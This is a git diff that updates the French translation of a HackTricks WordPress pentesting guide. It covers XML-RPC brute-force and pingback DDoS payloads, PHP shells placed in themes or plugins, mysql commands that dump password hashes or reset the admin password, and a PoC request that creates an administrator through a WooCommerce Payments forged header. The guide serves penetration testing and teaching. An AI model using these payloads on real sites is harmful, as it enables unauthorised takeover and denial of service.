mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
f98f9113d4
commit
526b97420f
@ -4,49 +4,49 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE vous utiliserez probablement ce chemin. Par exemple : en utilisant **theme twentytwelve** vous pouvez **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Fichiers téléversés** se trouvent à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Les fichiers de thème se trouvent dans /wp-content/themes/,** donc si vous modifiez du php du thème pour obtenir une RCE vous utiliserez probablement ce chemin. Par exemple : En utilisant **le thème twentytwelve** vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Une autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Dans **wp-config.php** vous pouvez trouver le mot de passe root de la base de données.
|
||||
- Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Fichiers principaux de WordPress**
|
||||
### **Principaux fichiers WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contient des informations utiles telles que la version de WordPress installée.
|
||||
- `wp-activate.php` est utilisé pour le processus d'activation par email lors de la création d'un nouveau site WordPress.
|
||||
- Dossiers de connexion (peuvent être renommés pour les cacher) :
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` est un fichier représentant une fonctionnalité de WordPress qui permet de transmettre des données en utilisant HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par la WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- `license.txt` contient des informations utiles comme la version de WordPress installée.
|
||||
- `wp-activate.php` est utilisé pour le processus d'activation par e-mail lors de la création d'un nouveau site WordPress.
|
||||
- Dossiers de connexion (peuvent être renommés pour les masquer) :
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress permettant de transmettre des données via HTTP en tant que mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'[REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés.
|
||||
- `wp-content/uploads/` est le répertoire où tous les fichiers téléversés sur la plateforme sont stockés.
|
||||
- `wp-includes/` est le répertoire où les fichiers core sont stockés, tels que les certificats, polices, fichiers JavaScript et widgets.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de post et taxonomies publiquement interrogeables.
|
||||
- `wp-content/uploads/` est le répertoire où sont stockés tous les fichiers téléversés sur la plateforme.
|
||||
- `wp-includes/` est le répertoire où sont stockés les fichiers core, tels que certificats, polices, fichiers JavaScript et widgets.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies publiquement interrogeables.
|
||||
|
||||
**Post-exploitation**
|
||||
|
||||
- Le fichier `wp-config.php` contient les informations nécessaires à WordPress pour se connecter à la base de données comme le nom de la base de données, l'hôte, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base de données. Ce fichier de configuration peut aussi servir à activer le mode DEBUG, utile pour le dépannage.
|
||||
- Le fichier `wp-config.php` contient les informations nécessaires à WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base, le nom d'utilisateur et le mot de passe, les authentication keys et salts, ainsi que le préfixe des tables de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
|
||||
|
||||
### Permissions des utilisateurs
|
||||
|
||||
- **Administrator**
|
||||
- **Editor** : Publie et gère ses articles et ceux des autres
|
||||
- **Author** : Publie et gère ses propres articles
|
||||
- **Contributor** : Écrit et gère ses articles mais ne peut pas les publier
|
||||
- **Subscriber** : Consulte les articles et peut modifier son profil
|
||||
- **Administrateur**
|
||||
- **Éditeur** : Publie et gère ses propres articles et ceux des autres
|
||||
- **Auteur** : Publie et gère ses propres articles
|
||||
- **Contributeur** : Rédige et gère ses articles mais ne peut pas les publier
|
||||
- **Abonné** : Parcourt les articles et édite son profil
|
||||
|
||||
## **Énumération passive**
|
||||
## **Enumération passive**
|
||||
|
||||
### **Obtenir la version de WordPress**
|
||||
|
||||
Vérifiez la présence des fichiers `/license.txt` ou `/readme.html`
|
||||
Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html`
|
||||
|
||||
Dans le **code source** de la page (exemple depuis [https://wordpress.org/support/article/pages/]):
|
||||
Dans le **code source** de la page (exemple de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) :
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- fichiers link CSS
|
||||
- fichiers CSS liés
|
||||
|
||||
.png>)
|
||||
|
||||
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
### Obtenir des Plugins
|
||||
### Obtenir des plugins
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -79,9 +79,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Énumération active
|
||||
|
||||
### Plugins and Themes
|
||||
### Plugins et thèmes
|
||||
|
||||
Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour les découvrir tous, vous devrez **Brute Force activement une liste de Plugins and Themes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes).
|
||||
Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour tous les découvrir, vous devrez **activement Brute Force une liste de plugins et thèmes** (avec un peu de chance, il existe des outils automatisés qui contiennent ces listes).
|
||||
|
||||
### Utilisateurs
|
||||
|
||||
@ -99,17 +99,17 @@ Un autre endpoint `/wp-json/` qui peut révéler certaines informations sur les
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs ayant cette fonctionnalité activée seront fournies**.
|
||||
Note that this endpoint only exposes users that have made a post. **Seules les informations sur les utilisateurs qui ont activé cette fonctionnalité seront fournies**.
|
||||
|
||||
Notez aussi que **/wp-json/wp/v2/pages** pourrait divulguer des adresses IP.
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
- **Login username enumeration** : Lorsque vous vous connectez via **`/wp-login.php`**, le **message** est **différent** selon qu'il indique si le **username** existe ou non.
|
||||
- **Login username enumeration**: Lors de la connexion sur **`/wp-login.php`**, le **message** est **différent** selon que le **nom d'utilisateur existe ou non**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Si `xml-rpc.php` est actif, vous pouvez effectuer un brute-force de credentials ou l'utiliser pour lancer des attaques DoS contre d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit), par exemple).
|
||||
If `xml-rpc.php` is active, vous pouvez effectuer un credentials brute-force ou l'utiliser pour lancer des attaques DoS contre d'autres ressources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête :
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Vérifier**
|
||||
```html
|
||||
@ -120,9 +120,9 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye
|
||||
```
|
||||

|
||||
|
||||
**Bruteforce d'identifiants**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force des identifiants. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force credentials. Si vous en trouvez, vous pouvez envoyer quelque chose comme :
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoye
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Le message _"Incorrect username or password"_ dans une réponse avec le code 200 doit apparaître si les credentials ne sont pas valides.
|
||||
Le message _"Incorrect username or password"_ dans une réponse 200 doit apparaître si les identifiants ne sont pas valides.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
En utilisant les credentials corrects vous pouvez upload un fichier. Dans la réponse, le path apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
En utilisant les bons identifiants, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ En utilisant les credentials corrects vous pouvez upload un fichier. Dans la ré
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Il existe aussi une façon **plus rapide** de brute-forcer des identifiants en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs identifiants dans la même requête :
|
||||
Il existe aussi une façon **plus rapide** de brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans la même requête :
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Contourner la 2FA**
|
||||
**Bypass 2FA**
|
||||
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge la 2FA. Ainsi, si vous avez des identifiants valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions réalisables via la console, mais vous pourriez quand même parvenir à une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'entrée principale est protégée par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions possibles via la console, mais vous pourriez quand même parvenir à une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** scan some internal **network** (you can indicate any port).
|
||||
Cela peut être utilisé pour demander à **des milliers** de sites **Wordpress** d'**accéder** à une même **cible** (provoquant ainsi un **DDoS** sur cette cible) ou vous pouvez l'utiliser pour faire **Wordpress** **scanner** un **réseau** interne (vous pouvez indiquer n'importe quel port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
|
||||
|
||||
Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
|
||||
|
||||
Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
|
||||
Regardez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -210,8 +210,8 @@ Jetez un œil à l'utilisation de **`system.multicall`** dans la section précé
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ce fichier existe généralement à la racine du site Wordpress : **`/wp-cron.php`**\
|
||||
Lorsque ce fichier est **accédé**, une requête MySQL "**lourde**" est exécutée, il peut donc être utilisé par des **attaquants** pour **causer** un **DoS**.\
|
||||
De plus, par défaut, `wp-cron.php` est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut causer des problèmes (DoS).
|
||||
Quand ce fichier est **accédé**, une requête MySQL **"lourde"** est effectuée, il peut donc être utilisé par des **attaquants** pour **provoquer** un **DoS**.\
|
||||
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui peut poser des problèmes (DoS) sur des sites à fort trafic.
|
||||
|
||||
Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hôte qui exécute les actions nécessaires à intervalles réguliers (sans causer de problèmes).
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Cet outil vérifie la présence du **methodName: pingback.ping** et du chemin **/wp-json/oembed/1.0/proxy** ; s'ils existent, il tente de les exploiter.
|
||||
Cet outil vérifie l'existence du **methodName: pingback.ping** et du chemin **/wp-json/oembed/1.0/proxy**, et, si présents, tente un exploit.
|
||||
|
||||
## Outils automatiques
|
||||
```bash
|
||||
@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Obtenir l'accès en modifiant un bit
|
||||
|
||||
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser 1 bit d'un fichier wordpress quelconque. Ainsi, vous pouviez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour rendre NOP l'opération NOT (`!`).
|
||||
Plus qu'une véritable attaque, il s'agit d'une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] vous pouviez basculer 1 bit dans n'importe quel fichier wordpress. Ainsi, vous pouviez modifier la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour remplacer l'opération NOT (`!`) par un NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
## **Panneau RCE**
|
||||
|
||||
**Modification d'un php du thème utilisé (identifiants admin requis)**
|
||||
**Modification d'un php du thème utilisé (identifiants admin nécessaires)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (à droite)
|
||||
|
||||
Remplacez le contenu par un shell php :
|
||||
Remplacez le contenu par un php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Cherchez sur Internet comment accéder à cette page mise à jour. Dans ce cas vous devez accéder ici: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -265,28 +265,28 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
pour obtenir une session.
|
||||
|
||||
## Plugin RCE
|
||||
## RCE par plugin
|
||||
|
||||
### PHP plugin
|
||||
### Plugin PHP
|
||||
|
||||
Il peut être possible de téléverser des fichiers .php en tant que plugin.\
|
||||
Il peut être possible d'upload des fichiers .php en tant que plugin.
|
||||
Créez votre php backdoor en utilisant par exemple :
|
||||
|
||||
.png>)
|
||||
|
||||
Then add a new plugin:
|
||||
Puis ajoutez un nouveau plugin :
|
||||
|
||||
.png>)
|
||||
|
||||
Téléversez le plugin et cliquez sur Install Now:
|
||||
Upload du plugin et cliquez sur Install Now :
|
||||
|
||||
.png>)
|
||||
|
||||
Click on Procced:
|
||||
Cliquez sur Procced :
|
||||
|
||||
.png>)
|
||||
|
||||
Probablement cela n'affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé :
|
||||
Probablement cela ne fera apparemment rien, mais si vous allez dans Media, vous verrez votre shell uploadé :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -294,36 +294,36 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
### Upload et activation d'un plugin malveillant
|
||||
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
Cette méthode consiste à installer un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus s'effectue via le tableau de bord WordPress comme suit :
|
||||
|
||||
1. **Plugin Acquisition**: Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Allez dans le WordPress dashboard, puis dans `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Une fois le plugin installé avec succès, il doit être activé via le dashboard.
|
||||
4. **Exploitation**:
|
||||
1. **Plugin Acquisition** : Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation** :
|
||||
- Allez dans le tableau de bord WordPress, puis `Dashboard > Plugins > Upload Plugin`.
|
||||
- Téléversez le fichier zip du plugin téléchargé.
|
||||
3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
|
||||
4. **Exploitation** :
|
||||
- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable.
|
||||
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, offrant un accès non autorisé au site.
|
||||
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
|
||||
- Il est à noter que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
|
||||
|
||||
Le contenu inclut des aides visuelles montrant les étapes dans le WordPress dashboard pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le penetration testing avec autorisation explicite.
|
||||
Le contenu inclut des aides visuelles montrant les étapes dans le tableau de bord WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnérabilités de cette manière est illégal et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un cadre légal, tel que le pentesting avec permission explicite.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## De XSS à RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité de **Cross-Site Scripting (XSS)** en **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, voir [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **support pour Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Crée un utilisateur dans WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploader votre custom plugin (backdoor) sur WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifier un Built-In Plugin dans WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifier un Built-In Theme dans WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits pour des Third-Party WordPress Plugins/Themes.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** en **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos consultez [**cet article**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
|
||||
- _**Élévation de privilèges :**_ Crée un utilisateur dans WordPress.
|
||||
- _**(RCE) Upload de plugin personnalisé (backdoor) :**_ Téléversez votre plugin personnalisé (backdoor) sur WordPress.
|
||||
- _**(RCE) Édition d'un plugin intégré :**_ Modifie un plugin intégré dans WordPress.
|
||||
- _**(RCE) Édition d'un thème intégré :**_ Modifie un thème intégré dans WordPress.
|
||||
- _**(Custom) Exploits personnalisés :**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Extraire les usernames et passwords :
|
||||
Extraire les noms d'utilisateur et mots de passe :
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -331,29 +331,29 @@ Changer le mot de passe admin :
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Pentest des plugins Wordpress
|
||||
|
||||
### Surface d'attaque
|
||||
|
||||
Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez voir comment un plugin peut exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez voir comment un plugin peut exposer des fonctionnalités dans les points ci‑dessous et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des failles de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions reposent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que **tout utilisateur authentifié dans l'instance Wordpress peut posséder** (indépendamment de son rôle).
|
||||
Une des manières dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que **n'importe quel utilisateur authentifié dans l'instance Wordpress pourrait posséder** (indépendamment de son rôle).
|
||||
|
||||
Voici les fonctions qui peuvent être utilisées pour exposer une fonctionnalité dans un plugin :
|
||||
Ces sont les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**L'utilisation de `nopriv` rend l'endpoint accessible par n'importe quel utilisateur (même les utilisateurs non authentifiés).**
|
||||
**L'utilisation de `nopriv` rend l'endpoint accessible par tous les utilisateurs (même les utilisateurs non authentifiés).**
|
||||
|
||||
> [!CAUTION]
|
||||
> De plus, si la fonction se contente de vérifier l'autorisation de l'utilisateur avec la fonction `wp_verify_nonce`, cette dernière vérifie uniquement que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilège pourraient avoir accès à des actions à privilèges élevés.
|
||||
> De plus, si la fonction se contente de vérifier l'autorisation de l'utilisateur avec la fonction `wp_verify_nonce`, cette fonction vérifie uniquement que l'utilisateur est connecté — elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs peu privilégiés pourraient avoir accès à des actions réservées aux utilisateurs à privilèges élevés.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API à l'aide de la fonction `register_rest_route` :
|
||||
Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API via la fonction `register_rest_route` :
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
|
||||
Le `permission_callback` est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
|
||||
|
||||
**Si la fonction intégrée `__return_true` est utilisée, elle contournera simplement la vérification des permissions utilisateur.**
|
||||
|
||||
- **Accès direct au fichier php**
|
||||
- **Accès direct au fichier PHP**
|
||||
|
||||
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
|
||||
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Ainsi, si un plugin expose une fonctionnalité vulnérable qui se déclenche simplement en accédant au fichier, elle pourra être exploitée par n'importe quel utilisateur.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Certains plugins implémentent des raccourcis de “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant pour les requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et appeler des routes REST privilégiées en tant qu'administrateur.
|
||||
Certains plugins implémentent des raccourcis “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent ce header pour définir le contexte utilisateur courant pour les requêtes REST. Si ce header n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et appeler des routes REST privilégiées en tant qu'administrateur.
|
||||
|
||||
- Impact : escalation de privilèges non authentifiée vers administrateur en créant un nouvel administrateur via la route core users REST.
|
||||
- Exemple d'en-tête : `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur).
|
||||
- Route exploitée : `POST /wp-json/wp/v2/users` avec un tableau de rôle élevé.
|
||||
- Impact : unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -391,40 +391,40 @@ Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Pourquoi ça fonctionne
|
||||
Why it works
|
||||
|
||||
- Le plugin mappe un header contrôlé par le client à l'état d'authentification et esquive les vérifications de capability.
|
||||
- WordPress core attend la capability `create_users` pour cette route ; le contournement du plugin l'évite en définissant directement le contexte de l'utilisateur courant depuis le header.
|
||||
- Le plugin mappe un en-tête contrôlé par le client sur l'état d'authentification et saute les vérifications de capacité.
|
||||
- Le core WordPress s'attend à la capability `create_users` pour cette route ; le hack du plugin la contourne en définissant directement le contexte de l'utilisateur courant depuis l'en-tête.
|
||||
|
||||
Indicateurs de réussite attendus
|
||||
Expected success indicators
|
||||
|
